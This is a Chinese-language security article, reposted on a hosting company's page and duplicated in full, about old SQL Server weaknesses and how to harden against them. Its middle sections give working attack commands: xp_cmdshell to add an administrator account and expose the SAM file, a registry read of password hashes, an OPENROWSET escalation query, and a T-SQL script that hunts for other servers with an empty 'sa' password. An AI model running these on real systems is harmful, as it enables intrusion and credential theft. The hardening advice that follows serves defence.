客服中心
業務咨詢
技術支持
在線客服
關于SQL SERVER的一些安全問題
添加時間：2013-1-17 17:19:35
添加：
思海網絡
關于SQL SERVER的一些安全問題
BY XUNDI<安全焦點>
xundi1@21cn.com
www.xfocus.org
目前關于NT服務器的入侵，有很多種方法，如對IIS的漏洞進行利用，但
大家不知道注意到沒有，其實通過與NT服務器相關聯的SQL數據庫服務器
的例子也是很有比例的一種手段。大家可以參看下面的一個新聞報道：
http://www.vnunet.com/News/1110938。
Herbless入侵破壞的一些站點，如legoland.co.uk站點就是通過SQL服務器
的入侵而獲得對系統的控制權而破壞的。所以對SQL服務器的保護是必不可
少的，這里我整理了一些漏洞供大家來參考，見笑，見笑。
----------------------------------------------------------------
我們先來看看SQL服務程序支持的網絡協議庫:
----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138）來進行通信，這些可以被通 | |
| | 的防火墻控制，但如果內部網絡可| |
| | 隨意訪問的話也是一個不小的缺陷| |
| | --用戶名字，密碼和數據沒有進行加| |
| | 傳輸，任何人可以通過SNIFFER來 | |
| | 進行數據捕獲。 | |
----------------------------------------------------------------
|IP Sockets | --默認狀態下開1433口，你可以使用| 否 |
| | 掃描器來查看這個端口。 | |
| | 可以被SNIFFER截獲數據。 | |
----------------------------------------------------------------
|Multi-Protocol | --客戶端需要支持NT RPCs;在不同 | 是 |
| | 種類的環境中可能引起問題。 | |
| | --默認情況下使用TCP隨機端口，但| |
| | 防火墻進行端口圖固定實現（參 | |
| | 看KB Q164667）。 | |
| | --需要注意加密選項是否選擇，默 | |
| | 是不選擇此選項的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
一般的推薦使用是：如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol，那你就使用這些協議庫，如果可能，盡量使用Multi-protocol
和使能加密選項。如果你上面幾個不能使用，那就使用IP Sockets協議，并改變
其默認的端口并隨時檢查系統保證無任何SNIFFER存在。并且，考慮使用一WEB服
務或者COM組件作為應用程序的business object layer，并在中間層和SQL服務程
序中使用安全通道(secure channel)。有不少第三方的產品可以加密這方面的通信。
-----------------------------------------------------------------------
下面再講一下SQL SERVER的各種安全模式和它們怎樣進行工作？
安全模式定義了一些SQL SERVER是怎樣認證要使用它們服務的用戶，請看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區別：
-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |
-------------------------------------------------------------------
|Standard | --登陸定義在SQL SERVER里| --單獨的標準模式在SQL SERVER|
|標準模式 | 而且給定密碼。 | 沒有使用了。 |
| | --SQL SERVER的登錄帳戶與| |
| | WINDOW NT分開 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帳 | --在這里成為"Windows NT only"|
|綜合模式 | 戶。 | 模式。 |
| |-用戶在連接到SQL SERVER| --只工作在NT系統下，在WIN9X不|
| | 不需要特定分開LOGIN和 | 支持。 |
| | 密碼。 | |
| |-密碼從不存儲在應用程序| --可以直接結合到NT的組中便于 |
| | 中，并不以明文在網絡中| 管理，（注意有一BUILTIN組在|
| | 傳輸。 | 本地系統上產生). |
| |-SQL SERVER可以使用NT的| |
| | 的認證方式來認證用戶并| |
| | 可以使用如帳戶過期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol庫。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的東西是客戶| 模式。 |
| | 端不能建立可信任連接。| --盡量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------
登錄只不過是第一步，一旦用戶登錄，用戶必須訪問獨立的數據庫，要使上面
的成立，就必須在sysusers表里存在一表目給用戶用的每個數據庫。所以安全
請你注意在你的數據庫中是否存在"guest"帳戶和保證不會在你不注意的時候給
某些人訪問你的數據庫。
詳細的大家可以參看微軟的站點：
http://www.microsoft.com/technet/SQL/Technote/secure.asp
---------------------------------------------------------------------
關于SQL SERVER存在的一些安全問題：
存在"sa"帳戶，密碼就為空，而且這個密碼是SQL SERVER安全模塊成員，我們就
可以通過xp_cmdshell stored procedure(擴展存儲過程)來進行命
令操作，如：
Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在：
Xp_cmdshell "net localgroup Administrators testuser /ADD"
這樣攻擊者就成功的在SQL SERVER上增加了一個用戶。
當然遠程的話，一般需要有1433口開著，通過MYSQL 客戶端進行連接。
當然你也可以使用：
Xp_cmdshell "rdisk /s-"
的方法，這樣就在\winnt\repair目錄里重建了信息而不提示用戶。然后
在SAM備份以后，攻擊者可以建立一個SMB連接到共享或者建立一個連接：
Xp_cmdshell "net share getsam=c:\winnt\repair"
利用共享獲得這個文件，然后在使用l0phtcrack來跑吧。如果SMB端口被防火墻
控制了，或者關閉了，攻擊者也可以拷貝sam._文件到WEB目錄進行匿名瀏覽器
下載。如果人家沒有開IIS，你何不用tftp呢:).
OK，通過這臺被控制的SQL SERVER服務器，攻擊者可以通過它來查找網絡內部
其他機器來擴大戰果，下面是一個SQL腳本來列舉網絡中其他SQL SERVER存在
空帳戶'sa'的示例：
-----------------------------------------------------------------------
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
----------------------------------------------------------------------
當然有些人也可能關閉xp_cmdshell extended stored procedure(擴展存儲過程)，
我們也可以使用下面的方法：
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'
如果MSSqlserver 服務在本地系統帳戶下運行，并且如果系統上沒有安裝syskey,上面
的調用就可以返回注冊表中加密的密碼或者SID。
--------------------------------------------------------------------------
另一個漏洞，是關于adhoc heterogenous queries 來進行權利的提升，請看下面微軟
的描述：http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
關于上面的漏洞，可以使用下面的xploit來獲得權利的提升：
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')
這是大家比較喜歡的一種可以執行其他命令，自己想吧。
---------------------------------------------------------------------------
還有就是最近的一個漏洞：Extended Stored Procedure Parameter Parsing (擴展存儲
過程參數解析)的漏洞，詳細信息在這個URL有介紹：
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起主要問題是在MSD中提供一個API函數srv_paraminfo(),它是用來擴展存儲過程調用時
解釋深入參數的，如:
exec <存儲過程名> <參數1>, <參數2>, ...
如要查詢“c:\winnt”的目錄樹，可以如下表達：
exec xp_dirtree 'c:\winnt'
但沒有檢查各個參數的長度，傳遞相當長的字符串，就存在了覆蓋其他堆棧
參數的可能導致緩沖溢出。
目前已經知道的過程如下：
目前已知受影響的擴展存儲過程如下：
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
給第一個參數傳遞超長的字符串會覆蓋異常處理程序所保存的返回地址。
2、xp_proxiedmetadata (xprepl.dll)
該存儲過程使用4個參數。給第二個參數傳遞超長的字符串會覆蓋異常處
理程序所保存的返回地址。
3、xp_SetSQLSecurity (xpstar.dll)
該存儲過程使用4個參數。給第三個參數傳遞超長的字符串會使整個SQL
Server進程立即終止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
給第一個參數傳遞超長的串將導致非法操作并覆蓋異常處理程序所保存的返
回地址。
這里告訴大家一個技巧性的東西，如果想要知道這些擴展存儲過程調用了那寫dll
文件，你可以如下操作，如：
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
這樣你就可以獲得調用這個擴展存儲過程的DLL了，如果微軟沒有出補丁的話，你就
暫時把這個DLL文件改名吧，當然有些DLL文件調用幾個擴展存儲過程，不能盲目更改，
否則導致其他的也不能使用，你需要使用下面的操作來知道DLL調用那些擴展存儲過程：
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
幸好微軟出了補丁，你可以到下面的地方找到，不用一個一個找DLL程序了，呵呵：
http://support.microsoft.com/support/sql/xp_security.asp
這個漏洞@stake發現并提供演示的測試代碼，大家可在這里找到：
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
OK，當然SQL SERVER也有一些其他漏洞，相對輕微些，如ISS發現的管理員
LOGIN ID存儲在注冊表中，其加密的方法比較簡單，很容易獲得，詳細情況
請看：http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。
---------------------------------------------------------------------
一些對SQL SERVER系統的安全建議：
--保證打上最新的安全補丁，如下：
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
當然大家要密切注意微軟的安全公告。
--不要在IP sockets使用端口1433，如果你使用Multi-protocol也請
修改端口。
--不要把'sa'密碼嵌入到任意應用程序如VB/DELPHI apps里，或者一
global.asa文件里，因為"sa"是SQL Server 的一個默認密碼，其權限
類似與WINDOWS NT系統里的管理員帳戶，而且密碼為空。
--改變'sa'和'probe'帳戶的密碼。
--保證SQL SERVER的錯誤記錄在NTFS系統上。
--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(擴展存儲過程) 留在服務
器上。在任何isql窗口中輸入：
use master
sp_dropextendedproc 'xp_cmdshell'
--丟棄不需要OLE自動存儲過程，當然Enterprise Manager中的某些特征也
會不能使用，這些過程包括如下：
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
--去掉不需要的注冊表訪問過程，如下：
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--去掉其他系統存儲過程，如果你認為你覺得你還有威脅，當然
要小心Drop這些過程，你可以在測試機器上測試，保證你正常的
系統能完成工作，這些過程包括：
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
--去掉數據庫中guest用戶。
--關閉SQL MAIL兼容能力，防止傳遞一些木馬病毒等。
--設置一個任務處理來定時運行下面的程序：
findstr /C:"Login Failed" \mssql7\log\*.*'
再重定向到其他文件或者MAIL到管理員信箱。
--經常檢查帶有空密碼的帳戶：
Use master
Select name,
Password
from syslogins
where password is null
order by name
--檢查所有不需要'sa'權限的存儲過程和擴展存儲過程訪問權限：
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name
--保證SQL SERVER的傳輸信息在隔離的網絡段中。
關鍵字：信息、數據庫、服務器
BY XUNDI<安全焦點>
xundi1@21cn.com
www.xfocus.org
目前關于NT服務器的入侵，有很多種方法，如對IIS的漏洞進行利用，但
大家不知道注意到沒有，其實通過與NT服務器相關聯的SQL數據庫服務器
的例子也是很有比例的一種手段。大家可以參看下面的一個新聞報道：
http://www.vnunet.com/News/1110938。
Herbless入侵破壞的一些站點，如legoland.co.uk站點就是通過SQL服務器
的入侵而獲得對系統的控制權而破壞的。所以對SQL服務器的保護是必不可
少的，這里我整理了一些漏洞供大家來參考，見笑，見笑。
----------------------------------------------------------------
我們先來看看SQL服務程序支持的網絡協議庫:
----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138）來進行通信，這些可以被通 | |
| | 的防火墻控制，但如果內部網絡可| |
| | 隨意訪問的話也是一個不小的缺陷| |
| | --用戶名字，密碼和數據沒有進行加| |
| | 傳輸，任何人可以通過SNIFFER來 | |
| | 進行數據捕獲。 | |
----------------------------------------------------------------
|IP Sockets | --默認狀態下開1433口，你可以使用| 否 |
| | 掃描器來查看這個端口。 | |
| | 可以被SNIFFER截獲數據。 | |
----------------------------------------------------------------
|Multi-Protocol | --客戶端需要支持NT RPCs;在不同 | 是 |
| | 種類的環境中可能引起問題。 | |
| | --默認情況下使用TCP隨機端口，但| |
| | 防火墻進行端口圖固定實現（參 | |
| | 看KB Q164667）。 | |
| | --需要注意加密選項是否選擇，默 | |
| | 是不選擇此選項的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
一般的推薦使用是：如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol，那你就使用這些協議庫，如果可能，盡量使用Multi-protocol
和使能加密選項。如果你上面幾個不能使用，那就使用IP Sockets協議，并改變
其默認的端口并隨時檢查系統保證無任何SNIFFER存在。并且，考慮使用一WEB服
務或者COM組件作為應用程序的business object layer，并在中間層和SQL服務程
序中使用安全通道(secure channel)。有不少第三方的產品可以加密這方面的通信。
-----------------------------------------------------------------------
下面再講一下SQL SERVER的各種安全模式和它們怎樣進行工作？
安全模式定義了一些SQL SERVER是怎樣認證要使用它們服務的用戶，請看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區別：
-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |
-------------------------------------------------------------------
|Standard | --登陸定義在SQL SERVER里| --單獨的標準模式在SQL SERVER|
|標準模式 | 而且給定密碼。 | 沒有使用了。 |
| | --SQL SERVER的登錄帳戶與| |
| | WINDOW NT分開 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帳 | --在這里成為"Windows NT only"|
|綜合模式 | 戶。 | 模式。 |
| |-用戶在連接到SQL SERVER| --只工作在NT系統下，在WIN9X不|
| | 不需要特定分開LOGIN和 | 支持。 |
| | 密碼。 | |
| |-密碼從不存儲在應用程序| --可以直接結合到NT的組中便于 |
| | 中，并不以明文在網絡中| 管理，（注意有一BUILTIN組在|
| | 傳輸。 | 本地系統上產生). |
| |-SQL SERVER可以使用NT的| |
| | 的認證方式來認證用戶并| |
| | 可以使用如帳戶過期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol庫。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的東西是客戶| 模式。 |
| | 端不能建立可信任連接。| --盡量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------
登錄只不過是第一步，一旦用戶登錄，用戶必須訪問獨立的數據庫，要使上面
的成立，就必須在sysusers表里存在一表目給用戶用的每個數據庫。所以安全
請你注意在你的數據庫中是否存在"guest"帳戶和保證不會在你不注意的時候給
某些人訪問你的數據庫。
詳細的大家可以參看微軟的站點：
http://www.microsoft.com/technet/SQL/Technote/secure.asp
---------------------------------------------------------------------
關于SQL SERVER存在的一些安全問題：
存在"sa"帳戶，密碼就為空，而且這個密碼是SQL SERVER安全模塊成員，我們就
可以通過xp_cmdshell stored procedure(擴展存儲過程)來進行命
令操作，如：
Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在：
Xp_cmdshell "net localgroup Administrators testuser /ADD"
這樣攻擊者就成功的在SQL SERVER上增加了一個用戶。
當然遠程的話，一般需要有1433口開著，通過MYSQL 客戶端進行連接。
當然你也可以使用：
Xp_cmdshell "rdisk /s-"
的方法，這樣就在\winnt\repair目錄里重建了信息而不提示用戶。然后
在SAM備份以后，攻擊者可以建立一個SMB連接到共享或者建立一個連接：
Xp_cmdshell "net share getsam=c:\winnt\repair"
利用共享獲得這個文件，然后在使用l0phtcrack來跑吧。如果SMB端口被防火墻
控制了，或者關閉了，攻擊者也可以拷貝sam._文件到WEB目錄進行匿名瀏覽器
下載。如果人家沒有開IIS，你何不用tftp呢:).
OK，通過這臺被控制的SQL SERVER服務器，攻擊者可以通過它來查找網絡內部
其他機器來擴大戰果，下面是一個SQL腳本來列舉網絡中其他SQL SERVER存在
空帳戶'sa'的示例：
-----------------------------------------------------------------------
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
----------------------------------------------------------------------
當然有些人也可能關閉xp_cmdshell extended stored procedure(擴展存儲過程)，
我們也可以使用下面的方法：
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'
如果MSSqlserver 服務在本地系統帳戶下運行，并且如果系統上沒有安裝syskey,上面
的調用就可以返回注冊表中加密的密碼或者SID。
--------------------------------------------------------------------------
另一個漏洞，是關于adhoc heterogenous queries 來進行權利的提升，請看下面微軟
的描述：http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
關于上面的漏洞，可以使用下面的xploit來獲得權利的提升：
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')
這是大家比較喜歡的一種可以執行其他命令，自己想吧。
---------------------------------------------------------------------------
還有就是最近的一個漏洞：Extended Stored Procedure Parameter Parsing (擴展存儲
過程參數解析)的漏洞，詳細信息在這個URL有介紹：
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起主要問題是在MSD中提供一個API函數srv_paraminfo(),它是用來擴展存儲過程調用時
解釋深入參數的，如:
exec <存儲過程名> <參數1>, <參數2>, ...
如要查詢“c:\winnt”的目錄樹，可以如下表達：
exec xp_dirtree 'c:\winnt'
但沒有檢查各個參數的長度，傳遞相當長的字符串，就存在了覆蓋其他堆棧
參數的可能導致緩沖溢出。
目前已經知道的過程如下：
目前已知受影響的擴展存儲過程如下：
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
給第一個參數傳遞超長的字符串會覆蓋異常處理程序所保存的返回地址。
2、xp_proxiedmetadata (xprepl.dll)
該存儲過程使用4個參數。給第二個參數傳遞超長的字符串會覆蓋異常處
理程序所保存的返回地址。
3、xp_SetSQLSecurity (xpstar.dll)
該存儲過程使用4個參數。給第三個參數傳遞超長的字符串會使整個SQL
Server進程立即終止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
給第一個參數傳遞超長的串將導致非法操作并覆蓋異常處理程序所保存的返
回地址。
這里告訴大家一個技巧性的東西，如果想要知道這些擴展存儲過程調用了那寫dll
文件，你可以如下操作，如：
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
這樣你就可以獲得調用這個擴展存儲過程的DLL了，如果微軟沒有出補丁的話，你就
暫時把這個DLL文件改名吧，當然有些DLL文件調用幾個擴展存儲過程，不能盲目更改，
否則導致其他的也不能使用，你需要使用下面的操作來知道DLL調用那些擴展存儲過程：
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
幸好微軟出了補丁，你可以到下面的地方找到，不用一個一個找DLL程序了，呵呵：
http://support.microsoft.com/support/sql/xp_security.asp
這個漏洞@stake發現并提供演示的測試代碼，大家可在這里找到：
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
OK，當然SQL SERVER也有一些其他漏洞，相對輕微些，如ISS發現的管理員
LOGIN ID存儲在注冊表中，其加密的方法比較簡單，很容易獲得，詳細情況
請看：http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。
---------------------------------------------------------------------
一些對SQL SERVER系統的安全建議：
--保證打上最新的安全補丁，如下：
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
當然大家要密切注意微軟的安全公告。
--不要在IP sockets使用端口1433，如果你使用Multi-protocol也請
修改端口。
--不要把'sa'密碼嵌入到任意應用程序如VB/DELPHI apps里，或者一
global.asa文件里，因為"sa"是SQL Server 的一個默認密碼，其權限
類似與WINDOWS NT系統里的管理員帳戶，而且密碼為空。
--改變'sa'和'probe'帳戶的密碼。
--保證SQL SERVER的錯誤記錄在NTFS系統上。
--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(擴展存儲過程) 留在服務
器上。在任何isql窗口中輸入：
use master
sp_dropextendedproc 'xp_cmdshell'
--丟棄不需要OLE自動存儲過程，當然Enterprise Manager中的某些特征也
會不能使用，這些過程包括如下：
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
--去掉不需要的注冊表訪問過程，如下：
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--去掉其他系統存儲過程，如果你認為你覺得你還有威脅，當然
要小心Drop這些過程，你可以在測試機器上測試，保證你正常的
系統能完成工作，這些過程包括：
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
--去掉數據庫中guest用戶。
--關閉SQL MAIL兼容能力，防止傳遞一些木馬病毒等。
--設置一個任務處理來定時運行下面的程序：
findstr /C:"Login Failed" \mssql7\log\*.*'
再重定向到其他文件或者MAIL到管理員信箱。
--經常檢查帶有空密碼的帳戶：
Use master
Select name,
Password
from syslogins
where password is null
order by name
--檢查所有不需要'sa'權限的存儲過程和擴展存儲過程訪問權限：
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name
--保證SQL SERVER的傳輸信息在隔離的網絡段中。
關鍵字：信息、數據庫、服務器
新文章:
- CentOS7下圖形配置網絡的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統后丟失windows啟動項
- CentOS單網卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網打印機IP講解
- CentOS7使用hostapd實現無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網絡重啟出錯
- 解決Centos7雙系統后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統有什么不同呢
- Centos 6.6默認iptable規則詳解
